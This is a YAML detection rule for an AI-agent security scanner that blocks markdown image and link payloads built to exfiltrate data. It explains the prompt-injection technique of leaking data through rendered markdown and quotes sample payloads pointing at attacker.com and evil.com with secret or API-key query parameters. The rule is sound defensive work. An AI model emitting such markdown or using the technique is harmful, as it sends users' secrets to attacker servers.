title: Direct Markdown Image/Link Exfil Payload (attacker.com / evil.com)
id: ATR-2026-01454
rule_version: 1
status: stable
description: |
  Detects markdown image and link syntax that directly embeds attacker-controlled domains (attacker.com, evil.com, exfil.*, collect.*) with exfiltration-specific query parameters. Unlike ATR-2026-00501 (which detects instruction patterns) and ATR-2026-01453 (which detects the base64-QUERY template), this rule detects the artifact itself when it appears directly in input — e.g. a raw payload like "![](https://attacker.com/collect?data=SENSITIVE_DATA)" or "[Click here](https://evil.com/?secret=API_KEY)". These appear as standalone injection payloads or embedded in social-engineering text.
author: ATR Community
date: 2026/06/12
schema_version: '0.1'
detection_tier: pattern
maturity: stable
severity: critical
references:
  owasp_llm:
    - LLM01:2025
    - LLM02:2025
  owasp_agentic:
    - ASI01:2026
  mitre_atlas:
    - AML.T0024 - Exfiltration via AI Inference API
compliance:
  owasp_llm:
    - id: LLM02:2025
      context: Direct markdown exfil payloads use image/link rendering to send sensitive data to attacker-controlled servers.
      strength: primary
    - id: LLM01:2025
      context: Embedding these payloads in documents processed by the agent constitutes indirect prompt injection.
      strength: primary
  eu_ai_act:
    - article: '15'
      context: Article 15 (robustness and cybersecurity) requires AI systems to detect and resist direct exfil payload injection.
      strength: primary
    - article: '10'
      context: Article 10 (data governance) is directly implicated by payloads designed to exfiltrate agent-processed data.
      strength: primary
  nist_ai_rmf:
    - subcategory: MS.2.7
      context: NIST AI RMF MEASURE 2.7 (security and resilience) is supported by detecting direct markdown exfil payloads.
      strength: primary
    - subcategory: MS.2.10
      context: NIST AI RMF MEASURE 2.10 (privacy risk) is supported by detection of data exfiltration payload artifacts.
      strength: primary
  iso_42001:
    - clause: '8.1'
      context: ISO/IEC 42001 Clause 8.1 (operational planning and control) is operationalised by detecting direct markdown exfil payloads.
      strength: primary
    - clause: '6.2'
      context: ISO/IEC 42001 Clause 6.2 requires treatment of known markdown exfil payload patterns.
      strength: secondary
tags:
  category: context-exfiltration
  subcategory: markdown-url-injection
  scan_target: mcp
  confidence: high
agent_source:
  type: llm_io
  framework:
    - any
  provider:
    - any
detection:
  condition: any
  false_positives:
    - Security research documentation showing these payloads in code blocks as examples
    - Legitimate use of collect.* or analytics domains without exfiltration parameters
  conditions:
    - field: content
      operator: regex
      value: (?i)!\[[^\]]{0,60}\]\(https?://(?:attacker|evil|exfil|collect|malicious|pwn|steal|grab|harvest)\.[a-z]{2,}[^)]{0,200}\)
      description: Markdown image with attacker-pattern domain
    - field: content
      operator: regex
      value: (?i)(?<!!)\[[^\]]{0,60}\]\(https?://(?:attacker|evil|exfil|collect|malicious|pwn|steal|grab|harvest)\.[a-z]{2,}[^)]{0,200}\)
      description: Markdown hyperlink with attacker-pattern domain
    - field: content
      operator: regex
      value: (?i)!\[[^\]]{0,60}\]\(https?://[a-z0-9._%-]+\.[a-z]{2,}[^)]{0,100}\?(?:data|secret|payload|api[_-]?key|token|credential|auth|session|cookie)=[A-Z_]{3,}
      description: Markdown image URL with exfil query parameter containing uppercase placeholder
    - field: content
      operator: regex
      value: (?i)(?<!!)\[[^\]]{0,60}\]\(https?://[a-z0-9._%-]+\.[a-z]{2,}[^)]{0,100}\?(?:secret|payload|api[_-]?key|token|credential|auth|exfil)=[A-Z_]{3,}
      description: Markdown link with high-confidence exfil query parameter placeholder
response:
  actions:
    - block_input
    - alert
    - snapshot
    - escalate
  auto_response_threshold: high
  message_template: |
    [ATR-2026-01454] CRITICAL: Direct markdown exfil payload detected. Input contains markdown image or link with attacker-controlled domain or exfiltration query parameters. Request blocked.